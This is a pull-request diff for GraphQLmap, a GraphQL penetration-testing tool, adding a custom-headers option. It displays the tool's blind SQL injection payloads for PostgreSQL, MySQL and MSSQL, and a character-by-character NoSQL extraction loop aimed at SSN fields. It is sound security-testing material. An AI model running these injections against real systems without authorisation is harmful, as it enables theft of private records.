Merge pull request #10 from waristea/add_header_1
Add option to add header to requests madepull/13/head
commit
1231334c74
17
README.md
17
README.md
|
@ -31,13 +31,14 @@ $ python graphqlmap.py
|
|||
| | | |
|
||||
|_| |_|
|
||||
Author:Swissky Version:1.0
|
||||
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]]
|
||||
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-u URL URL to query : example.com/graphql?query={}
|
||||
-v [VERBOSITY] Enable verbosity
|
||||
--method [METHOD] HTTP Method to use interact with /graphql endpoint
|
||||
-h, --help show this help message and exit
|
||||
-u URL URL to query : example.com/graphql?query={}
|
||||
-v [VERBOSITY] Enable verbosity
|
||||
--method [METHOD] HTTP Method to use interact with /graphql endpoint
|
||||
--headers [HEADERS] HTTP Headers sent to /graphql endpoint
|
||||
```
|
||||
|
||||
|
||||
|
@ -45,6 +46,12 @@ optional arguments:
|
|||
|
||||
:warning: Examples are based on several CTF challenges from HIP2019.
|
||||
|
||||
### Connect to a graphql endpoint
|
||||
|
||||
```
|
||||
python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'
|
||||
```
|
||||
|
||||
### Dump a GraphQL schema
|
||||
|
||||
Use `dump` to dump the GraphQL schema, this function will automaticly populate the "autocomplete" with the found fields.
|
||||
|
|
38
attacks.py
38
attacks.py
|
@ -8,16 +8,16 @@ import sys
|
|||
import time
|
||||
from utils import *
|
||||
|
||||
def display_types(URL, method):
|
||||
def display_types(URL, method, headers):
|
||||
payload = "{__schema{types{name}}}"
|
||||
r = requester(URL, method, payload)
|
||||
r = requester(URL, method, payload, headers)
|
||||
if r != None:
|
||||
schema = r.json()
|
||||
for names in schema['data']['__schema']['types']:
|
||||
print(names)
|
||||
|
||||
|
||||
def dump_schema(URL, method, graphversion):
|
||||
def dump_schema(URL, method, graphversion, headers):
|
||||
"""
|
||||
Dump the GraphQL schema via Instrospection
|
||||
|
||||
|
@ -32,7 +32,7 @@ def dump_schema(URL, method, graphversion):
|
|||
else:
|
||||
payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"
|
||||
|
||||
r = requester(URL, method, payload)
|
||||
r = requester(URL, method, payload, headers)
|
||||
schema = r.json()
|
||||
|
||||
print("============= [SCHEMA] ===============")
|
||||
|
@ -77,8 +77,8 @@ def dump_schema(URL, method, graphversion):
|
|||
print("")
|
||||
|
||||
|
||||
def exec_graphql(URL, method, query, only_length=0):
|
||||
r = requester(URL, method, query)
|
||||
def exec_graphql(URL, method, query, headers={}, only_length=0):
|
||||
r = requester(URL, method, query, headers)
|
||||
try:
|
||||
graphql = r.json()
|
||||
errors = graphql.get("errors")
|
||||
|
@ -107,7 +107,7 @@ def exec_graphql(URL, method, query, only_length=0):
|
|||
return "\033[91m[!]\033[0m {}".format(str(e))
|
||||
|
||||
|
||||
def exec_advanced(URL, method, query):
|
||||
def exec_advanced(URL, method, query, headers):
|
||||
print(query)
|
||||
|
||||
# Allow a user to bruteforce character from a charset
|
||||
|
@ -115,7 +115,7 @@ def exec_advanced(URL, method, query):
|
|||
if "GRAPHQL_CHARSET" in query:
|
||||
GRAPHQL_CHARSET = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"
|
||||
for c in GRAPHQL_CHARSET:
|
||||
length = exec_graphql(URL, method, query.replace("GRAPHQL_CHARSET", c), only_length=1)
|
||||
length = exec_graphql(URL, method, query.replace("GRAPHQL_CHARSET", c), headers, only_length=1)
|
||||
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c)))
|
||||
|
||||
|
||||
|
@ -127,40 +127,40 @@ def exec_advanced(URL, method, query):
|
|||
|
||||
for i in range(int(match[0])):
|
||||
pattern = "GRAPHQL_INCREMENT_" + match[0]
|
||||
length = exec_graphql(URL, method, query.replace(pattern, str(i)), only_length=1)
|
||||
length = exec_graphql(URL, method, query.replace(pattern, str(i)), headers, only_length=1)
|
||||
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i))))
|
||||
|
||||
# Otherwise execute the query and display the JSON result
|
||||
else:
|
||||
print(exec_graphql(URL, method, query))
|
||||
print(exec_graphql(URL, method, query, headers))
|
||||
|
||||
|
||||
def blind_postgresql(URL, method):
|
||||
def blind_postgresql(URL, method, headers):
|
||||
query = input("Query > ")
|
||||
payload = "1 AND pg_sleep(30) --"
|
||||
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
|
||||
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload)
|
||||
r = requester(URL, method, injected)
|
||||
r = requester(URL, method, injected, headers)
|
||||
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
|
||||
|
||||
def blind_mysql(URL, method):
|
||||
def blind_mysql(URL, method, headers):
|
||||
query = input("Query > ")
|
||||
payload = "'-SLEEP(30); #"
|
||||
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
|
||||
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload)
|
||||
r = requester(URL, method, injected)
|
||||
r = requester(URL, method, injected, headers)
|
||||
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
|
||||
|
||||
def blind_mssql(URL, method):
|
||||
def blind_mssql(URL, method, headers):
|
||||
query = input("Query > ")
|
||||
payload = "'; WAITFOR DELAY '00:00:30';"
|
||||
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
|
||||
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload)
|
||||
r = requester(URL, method, injected)
|
||||
r = requester(URL, method, injected, headers)
|
||||
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
|
||||
|
||||
|
||||
def blind_nosql(URL, method):
|
||||
def blind_nosql(URL, method, headers):
|
||||
# Query : {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
|
||||
# Check : "5d089c51dcab2d0032fdd08d"
|
||||
|
||||
|
@ -173,7 +173,7 @@ def blind_nosql(URL, method):
|
|||
while len(data) != data_size:
|
||||
for c in charset:
|
||||
injected = query.replace("BLIND_PLACEHOLDER", data + c)
|
||||
r = requester(URL, method, injected)
|
||||
r = requester(URL, method, injected, headers)
|
||||
if check in r.text:
|
||||
data += c
|
||||
|
||||
|
@ -181,4 +181,4 @@ def blind_nosql(URL, method):
|
|||
print("\r\033[92m[+] Data found:\033[0m {}".format(data), end='', flush=False)
|
||||
|
||||
# force a line return to clear the screen after the data trick
|
||||
print("")
|
||||
print("")
|
||||
|
|
|
@ -16,6 +16,7 @@ class GraphQLmap(object):
|
|||
method = "POST"
|
||||
args = None
|
||||
url = None
|
||||
headers = None
|
||||
|
||||
def __init__(self, args):
|
||||
print(" _____ _ ____ _ ")
|
||||
|
@ -26,46 +27,48 @@ class GraphQLmap(object):
|
|||
print(" \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ ")
|
||||
print(" | | | | ")
|
||||
print(" |_| |_| ")
|
||||
print(" "*30 + f"\033[1mAuthor\033[0m: {self.author} \033[1mVersion\033[0m: {self.version} ")
|
||||
print(" "*30, end='')
|
||||
print(f"\033[1mAuthor\033[0m: {self.author} \033[1mVersion\033[0m: {self.version} ")
|
||||
self.args = args
|
||||
self.url = args.url
|
||||
self.method = args.method
|
||||
self.headers = None if not args.headers else json.loads(args.headers)
|
||||
|
||||
while True:
|
||||
query = input("GraphQLmap > ")
|
||||
cmdlist.append(query)
|
||||
if query == "exit" or query == "q":
|
||||
if query == "exit" or query == "q":
|
||||
exit()
|
||||
|
||||
elif query == "help":
|
||||
display_help()
|
||||
|
||||
|
||||
elif query == "debug":
|
||||
display_types(self.url, self.method)
|
||||
display_types(self.url, self.method, self.headers)
|
||||
|
||||
elif query == "dump_new":
|
||||
dump_schema(self.url, self.method, 15)
|
||||
dump_schema(self.url, self.method, 15, self.headers)
|
||||
|
||||
elif query == "dump_old":
|
||||
dump_schema(self.url, self.method, 14)
|
||||
dump_schema(self.url, self.method, 14, self.headers)
|
||||
|
||||
elif query == "nosqli":
|
||||
blind_nosql(self.url, self.method)
|
||||
blind_nosql(self.url, self.method, self.headers)
|
||||
|
||||
elif query == "postgresqli":
|
||||
blind_postgresql(self.url, self.method)
|
||||
blind_postgresql(self.url, self.method, self.headers)
|
||||
|
||||
elif query == "mysqli":
|
||||
blind_mysql(self.url, self.method)
|
||||
|
||||
blind_mysql(self.url, self.method, self.headers)
|
||||
|
||||
elif query == "mssqli":
|
||||
blind_mssql(self.url, self.method)
|
||||
blind_mssql(self.url, self.method, self.headers)
|
||||
|
||||
else:
|
||||
exec_advanced(args.url, self.method, query)
|
||||
exec_advanced(args.url, self.method, query, self.headers)
|
||||
|
||||
if __name__ == "__main__":
|
||||
readline.set_completer(auto_completer)
|
||||
readline.parse_and_bind("tab: complete")
|
||||
args = parse_args()
|
||||
GraphQLmap(args)
|
||||
GraphQLmap(args)
|
||||
|
|
7
utils.py
7
utils.py
|
@ -21,12 +21,12 @@ def jq(data):
|
|||
return json.dumps(data, indent=4, sort_keys=True)
|
||||
|
||||
|
||||
def requester(URL, method, payload):
|
||||
def requester(URL, method, payload, headers=None):
|
||||
if method == "POST":
|
||||
data = {
|
||||
"query": payload.replace("+", " ")
|
||||
}
|
||||
r = requests.post(URL, data=data, verify=False)
|
||||
r = requests.post(URL, data=data, verify=False, headers=headers)
|
||||
if r.status_code == 500:
|
||||
print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m")
|
||||
return None
|
||||
|
@ -40,7 +40,8 @@ def parse_args():
|
|||
parser.add_argument('-u', action ='store', dest='url', help="URL to query : example.com/graphql?query={}")
|
||||
parser.add_argument('-v', action ='store', dest='verbosity', help="Enable verbosity", nargs='?', const=True)
|
||||
parser.add_argument('--method', action ='store', dest='method', help="HTTP Method to use interact with /graphql endpoint", nargs='?', const=True, default="GET")
|
||||
results = parser.parse_args()
|
||||
parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint", nargs='?', const=True, type=str)
|
||||
results = parser.parse_args()
|
||||
if results.url == None:
|
||||
parser.print_help()
|
||||
exit()
|
||||
|
|
Loading…
Reference in New Issue